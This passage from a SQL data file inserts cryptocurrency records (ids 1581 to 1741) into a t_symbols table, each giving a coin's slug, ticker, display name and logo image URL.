'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polyient-games-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1581, 'potentiam', 'PTM', 'Potentiam', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/potentiam.png', NULL); +INSERT INTO `t_symbols` VALUES (1582, 'pxg', 'PXG', 'PlayGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pxg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1583, 'apay', 'APT', 'apay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apay.png', NULL); +INSERT INTO `t_symbols` VALUES (1584, 'global-jobcoin', 'GJC', 'Global Jobcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/globaljobcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1585, 'shine-layer2', 'SHT', 'Shine Layer 2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shine-layer2.png', NULL); +INSERT INTO `t_symbols` VALUES (1586, 'top-one-coin', 'TOP', 'top-one-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/top-one-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1587, 'falconswap', 'FSW', 'Falconswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/falconswap.png', NULL); +INSERT INTO `t_symbols` VALUES (1588, 'gambit', 'GMT', 'Gambit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gambit.png', NULL); +INSERT INTO `t_symbols` VALUES (1589, 'starcredits', 'STRC', 'StarCredits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcredits.png', NULL); +INSERT INTO `t_symbols` VALUES (1590, 'dagxcoin', 'DAG', 'DAG Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dagxcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1591, 'ixcoin', 'IXC', 'Ixcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ixcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1592, 'polygonum-pogcoin', 'POG', 'Polygonum Online', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/polygonum.png', NULL); +INSERT INTO `t_symbols` VALUES (1593, 'rpd', 'RPD', 'Rapids', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rpd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1594, 'hashbx', 'HBX', 'HashBX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashbx.png', NULL); +INSERT INTO `t_symbols` VALUES (1595, 'spartaico', 'SPARTA', 'Sparta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spartaico.png', NULL); +INSERT INTO `t_symbols` VALUES (1596, 'amond', 'AMON', 'AmonD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amond.png', NULL); +INSERT INTO `t_symbols` VALUES (1597, 'hopescience', 'HOPE', 'Hope', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hopescience.png', NULL); +INSERT INTO `t_symbols` VALUES (1598, 'w-green-pay', 'WGP', 'W Green Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/w-green-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (1599, 'edr', 'EDR', 'Endor Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edr.png', NULL); +INSERT INTO `t_symbols` VALUES (1600, 'pawtocol', 'UPI', 'Pawtocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pawtocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1601, 'ryo-currency', 'RYO', 'Ryo Currency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ryo-currency.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1602, 'ektablockchain', 'EKTA', 'Ekta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ektablockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1603, 'yoyow', 'YOYOW', 'YOYOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yoyow.png', NULL); +INSERT INTO `t_symbols` VALUES (1604, 'auroracoin', 'AUR', 'Auroracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auroracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1605, 'basechain', 'BASE', 'Basechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basechain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1606, 'qch', 'QCH', 'QChi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qch.png', NULL); +INSERT INTO `t_symbols` VALUES (1607, 'ageofgods', 'AOG', 'AgeOfGods', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ageofgods.png', NULL); +INSERT INTO `t_symbols` VALUES (1608, 'cook-protocol', 'COOK', 'Cook', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cook-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1609, 'mergecoin', 'MGC', 'MergeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mergecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1610, 'arcs', 'ARX', 'ARCS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcs.png', NULL); +INSERT INTO `t_symbols` VALUES (1611, 'peos', 'PEOS', 'pEOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peos.png', NULL); +INSERT INTO `t_symbols` VALUES (1612, 'hawksight', 'HAWK', 'Hawksight', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hawksight.png', NULL); +INSERT INTO `t_symbols` VALUES (1613, 'aerium', 'AERM', 'Aerium', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1614, 'kolinplatform', 'KOLIN', 'Kolin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kolinplatform.png', NULL); +INSERT INTO `t_symbols` VALUES (1615, 'bgg', 'BGG', 'Bgogo Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bgg.png', NULL); +INSERT INTO `t_symbols` VALUES (1616, 'easyfi', 'EZ', 'EasyFi V2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/easyfi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1617, 'ngotoken', 'NGOT', 'NGO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ngotoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1618, 'aitra', 'AITRA', 'Aitra', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aitra.png', NULL); +INSERT INTO `t_symbols` VALUES (1619, 'skydynastycoin', 'SDC', 'skydynastycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skydynastycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1620, 'moneytoken', 'IMT', 'Money IMT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moneytoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1621, 'eurocoin-token', 'ECTE', 'Eurocoin ECTE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eurocoin-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1622, 'kekcoin', 'KEK', 'KekCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kekcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1623, 'riecoin', 'RIC', 'Riecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/riecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1624, 'rublix', 'RBLX', 'Rublix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rublix.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1625, 'metrix-coin', 'MRX', 'Metrix Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metrix-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1626, 'enu', 'ENU', 'Enumivo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enu.png', NULL); +INSERT INTO `t_symbols` VALUES (1627, 'dextoken-governance', 'DEXG', 'Dextoken Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dextoken-governance.png', NULL); +INSERT INTO `t_symbols` VALUES (1628, 'genesourcecode', 'GENE', 'Gene Source Code Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesourcecode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1629, 'fucktoken', 'FUCK', 'FuckToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/fucktoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1630, 'snowgem', 'TENT', 'TENT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snowgem.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1631, 'futurepia', 'PIA', 'Futurepia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/futurepia.png', NULL); +INSERT INTO `t_symbols` VALUES (1632, 'quark', 'QRK', 'Quark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quark.png', NULL); +INSERT INTO `t_symbols` VALUES (1633, 'denarius-dnr', 'DNR', 'Denarius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/denarius-dnr.png', NULL); +INSERT INTO `t_symbols` VALUES (1634, 'decent', 'DCT', 'DECENT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decent.png', NULL); +INSERT INTO `t_symbols` VALUES (1635, 'bethereum', 'BETHER', 'Bethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bethereum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1636, 'paycoin2', 'XPY', 'PayCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paycoin2.png', NULL); +INSERT INTO `t_symbols` VALUES (1637, 'mixcrypto', 'MIX', 'mixcrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mixcrypto.png', NULL); +INSERT INTO `t_symbols` VALUES (1638, 'based-money', '$BASED', 'Based Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/based-money.png', NULL); +INSERT INTO `t_symbols` VALUES (1639, 'onston', 'ONSTON', 'Onston', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onston.png', NULL); +INSERT INTO `t_symbols` VALUES (1640, 'bullion', 'CBX', 'Bullion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoBullionX.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1641, 'stone-toke', 'STN', 'Stone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stone-toke.png', NULL); +INSERT INTO `t_symbols` VALUES (1642, 'ccc', 'CCC', 'CoinControllerCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Coindom_CCC.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1643, 'sether', 'SETH', 'Sether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sether.png', NULL); +INSERT INTO `t_symbols` VALUES (1644, 'champion', 'MVP', 'champion', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1645, 'pakcoin', 'PAK', 'Pakcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pakcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1646, 'brokernekonetwork', 'BNN', 'Broker Neko Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brokernekonetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (1647, 'sphere', 'SPHR', 'Sphere', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sphere.png', NULL); +INSERT INTO `t_symbols` VALUES (1648, 'metastrike', 'MTS', 'Metastrike', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metastrike.png', NULL); +INSERT INTO `t_symbols` VALUES (1649, 'bluecoin', 'BLU', 'BlueCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1650, 'model-x-coin', 'MODX', 'MODEL-X-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/model-x-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1651, 'polkalokr', 'LKR', 'Lokr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkalokr.png', NULL); +INSERT INTO `t_symbols` VALUES (1652, 'cam', 'CAM', 'CAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cam.png', NULL); +INSERT INTO `t_symbols` VALUES (1653, 'eboostcoin', 'EBST', 'eBoost', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eboostcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1654, 'dogecash', 'DOGEC', 'DogeCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogecash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1655, 'ties-network', 'TIE', 'Ties.DB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/tiesnetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1656, 'game', 'GTC', 'Game', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game.png', NULL); +INSERT INTO `t_symbols` VALUES (1657, 'cybermoviechain', 'CMCT', 'Cyber Movie Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybermoviechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1658, 'dopecoin', 'DOPE', 'DopeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dopecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1659, 'phoenixdao', 'PHNX', 'PhoenixDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phoenixdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1660, 'hot-cross', 'HOTCROSS', 'Hot Cross', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hot-cross.png', NULL); +INSERT INTO `t_symbols` VALUES (1661, 'snetwork', 'SNET', 'Snetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (1662, 'chesscoin', 'CHESS', 'ChessCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chesscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1663, 'soverain', 'SOVE', 'Soverain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soverain.png', NULL); +INSERT INTO `t_symbols` VALUES (1664, 'next', 'NEXT', 'NEXT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/next.png', NULL); +INSERT INTO `t_symbols` VALUES (1665, 'quantis', 'QUAN', 'Quantis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantis.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1666, 'trezarcoin', 'TZC', 'TrezarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trezarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1667, 'mastercoin', 'MC', 'MasterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mastercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1668, 'ritocoin', 'RITO', 'Rito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ritocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1669, 'xmv', 'XMV', 'MoneroV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmv.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1670, 'hempcoin', 'THC', 'Hempcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hempcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1671, 'motacoin', 'MOTA', 'MotaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/motacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1672, 'dabt', 'DABT', 'dabt', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1673, 'voc', 'VOC', 'Vocal Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1674, 'nakabot', 'NBOT', 'Naka Bodhi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nakabot.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1675, 'vitae', 'VITAE', 'Vitae', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vitae.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1676, 'luckchain', 'BASH', 'LuckChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luckchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1677, 'pumapay', 'PMA', 'PumaPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pumapay.png', NULL); +INSERT INTO `t_symbols` VALUES (1678, 'emanate', 'EMT', 'Emanate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emanate.png', NULL); +INSERT INTO `t_symbols` VALUES (1679, 'hedget', 'HGET', 'Hedget', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedget.png', NULL); +INSERT INTO `t_symbols` VALUES (1680, 'x8x-token', 'X8X', 'X8X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x8x-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1681, 'pepe-cash', 'PEPECASH', 'Pepe Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pepe-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (1682, 'fujicoin', 'FJC', 'FujiCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fujicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1683, 'ggt', 'GGT', 'Global Gold Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ggt.png', NULL); +INSERT INTO `t_symbols` VALUES (1684, 'nerves', 'NER', 'Nerves', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nerves.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1685, 'chaince-token', 'CET', 'Chaince Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chaince-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1686, 'lendingblock', 'LND', 'Lendingblock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lendingblock.png', NULL); +INSERT INTO `t_symbols` VALUES (1687, 'moneynet-coin', 'MNC', 'Moneynet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moneynet-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1688, 'hyperstake', 'HYP', 'Element', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyperstake.png', NULL); +INSERT INTO `t_symbols` VALUES (1689, 'allsafe', 'ASAFE', 'AllSafe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/allsafetoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1690, 'spherium', 'SPHRI', 'Spherium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spherium.png', NULL); +INSERT INTO `t_symbols` VALUES (1691, 'cp', 'CP', 'CoinPark Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cp.png', NULL); +INSERT INTO `t_symbols` VALUES (1692, 'fiii', 'FIII', 'Fiii', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fiii.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1693, 'dapp-com', 'DAPPT', 'Dapp.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dapp-com.png', NULL); +INSERT INTO `t_symbols` VALUES (1694, 'ost', 'OST', 'OST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ost.png', NULL); +INSERT INTO `t_symbols` VALUES (1695, 'etu', 'ETU', 'etu', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1696, 'blocksports', 'BSP', 'BSPNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocksports.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1697, 'the-4th-pillar', 'FOUR', '4thpillar technologies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-4th-pillar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1698, '1million-token', '1MT', '1Million Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1million-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1699, 'bastion', 'BSTN', 'Bastion Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bastion.png', NULL); +INSERT INTO `t_symbols` VALUES (1700, 'creativecoin', 'CREA', 'CREA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creativecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1701, 'hololoot', 'HOL', 'Hololoot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/hololoot.png', NULL); +INSERT INTO `t_symbols` VALUES (1702, 'raze-network', 'RAZE', 'Raze Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raze-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1703, 'swag', 'SWAG', 'swag', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swag.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1704, 'canyacoin', 'CAN', 'CanYaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/canyacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1705, 'commerceblock', 'CBT', 'Commerceblock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commerceblock.png', NULL); +INSERT INTO `t_symbols` VALUES (1706, 'troneuroperewardcoin', 'TERC', 'TronEuropeRewardCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/troneuroperewardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1707, 'x42-protocol', 'X42', 'X42 Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x42-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1708, 'megacoin', 'MEC', 'Megacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/megacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1709, 'ethart', 'ARTE', 'Items', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethart.png', NULL); +INSERT INTO `t_symbols` VALUES (1710, 'iridium', 'IRD', 'Iridium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iridium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1711, 'dev-protocol', 'DEV', 'Dev Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dev-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1712, 'stakecube', 'SCC', 'Stakecube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakecube.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1713, 'butler-coin', 'BC', 'butler-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/butler-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1714, 'ugchain', 'UGC', 'ugChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ugchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1715, 'swarm-city', 'SWT', 'Swarm City', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swarm-city.png', NULL); +INSERT INTO `t_symbols` VALUES (1716, 'parallelcoin', 'DUO', 'Duo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/07ecc30888f2dffc41b025fe8597af59.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1717, 'odyssey', 'OCN', 'Odyssey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odyssey.png', NULL); +INSERT INTO `t_symbols` VALUES (1718, 'octanox', 'OTX', 'Octanox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/octanox.png', NULL); +INSERT INTO `t_symbols` VALUES (1719, 'genaro-network', 'GNX', 'Genaro Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genaro-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1720, 'etheriya', 'RIYA', 'Etheriya', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etheriya.png', NULL); +INSERT INTO `t_symbols` VALUES (1721, 'eosver', 'EVR', 'eosver', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosver.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1722, 'jarvis-reward-token', 'JRT', 'Jarvis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jarvis-reward-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1723, 'eterbase', 'XBASE', 'Eterbase Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eterbase.png', NULL); +INSERT INTO `t_symbols` VALUES (1724, 'rivetz', 'RVT', 'Rivetz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rivetz.png', NULL); +INSERT INTO `t_symbols` VALUES (1725, 'utrum', 'OOT', 'Utrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utrum.png', NULL); +INSERT INTO `t_symbols` VALUES (1726, 'privcy', 'PRIV', 'PRiVCY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/privcy.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1727, 'kfc', 'KFC', 'kfc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kfc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1728, 'aaachain', 'AAA', 'AAAchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aaachain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1729, 'fidentiax', 'FDX', 'FidentiaX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/fidentiaX.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1730, 'givingtoservices', 'SVCS', 'GivingToServices', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/givingtoservices.png', NULL); +INSERT INTO `t_symbols` VALUES (1731, 'vnt', 'VNT', 'VNT Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vnt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1732, 'oraclechain', 'OCT', 'OracleChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oraclechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1733, 'qubitcoin', 'Q2C', 'Qubitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qubitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1734, 'ravencoinclassic', 'RVC', 'Ravencoin Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoinclassic.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1735, 'musicoin', 'MUSIC', 'Musicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/musicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1736, 'gooc', 'GOOC', 'GooCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gooc.png', NULL); +INSERT INTO `t_symbols` VALUES (1737, 'uptoken', 'UP', 'UpToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uptoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1738, 'adtoken', 'ADT', 'adChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1739, 'xmax', 'XMX', 'XMax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmax.png', NULL); +INSERT INTO `t_symbols` VALUES (1740, 'utg', 'UTG', 'utg', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utg.png', NULL); +INSERT INTO `t_symbols` VALUES (1741, 'geocoin', 'GEO', 'Geocoin', 